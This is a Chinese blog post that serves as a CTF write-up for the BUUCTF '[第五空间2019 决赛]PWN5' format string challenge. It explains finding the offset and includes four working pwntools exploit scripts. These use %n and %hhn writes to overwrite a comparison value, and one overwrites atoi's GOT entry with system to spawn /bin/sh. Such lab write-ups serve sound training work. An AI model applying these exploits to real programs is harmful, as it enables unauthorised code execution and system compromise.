字符串格式漏洞-[第五空间2019 决赛]PWN5

之前其实也写了一篇,现在再来看。又有新的收获了,于是记录一下

前置知识

格式化字符串漏洞详解-CSDN博客

讲得很清楚,我就不照猫画虎了

实践

main函数

首先先办法泄露我们输入的地址

from pwn import *
elfpath='level0'
# io=process(elfpath)
io=remote("node5.buuoj.cn",29917)
elf=ELF(elfpath)
context(arch=elf.arch,os=elf.os,log_level = "debug")
# shell_addr=0x400596
payload1=b'a'*(0x20+8)+b'\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
payload=payload1
io.sendline(payload)
io.interactive()

偏移量10

后面就是exp的编写,难点是去理解exp

exp1:

from pwn import *
sh=remote('node5.buuoj.cn',29917)
payload = p32(0x804c044)+b'%10$n'
sh.sendline(payload)
sh.recv()
sh.sendline(b'4')
sh.interactive()

我们首先把偏移10,改为

我们需要比较的地址

p32(0x804c044)传入地址

+b'%10$n',10$选取偏移第十的地址,传入我们已经传入的字节数(4)

那么现在比对的就是4

我们传入4就可以成功比对成功

exp2

[第五空间2019 决赛]PWN5-CSDN博客

看我之前博客的,看来当时也没怎么学懂,哈哈

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

首先,我们把10-14个,放好地址。因为我们刚刚IDA可以看见,比对是个dword

然后我们直接挨着地址,用hhn,指定传入一个字节,

那么内存中就是我们之前16 16 16 16 也就是0x10101010

exp3

BUUCTF - [第五空间2019 决赛]PWN5 - 简书

借鉴博客如上

from pwn import *

p = process('./pwn5')
elf = ELF('./pwn5')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

很清楚的,去拿库函数的got和plt(不懂可以粗俗理解为函数地址,后面再学)

exp4

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

这个更简单明了~

下班

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

name_name123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值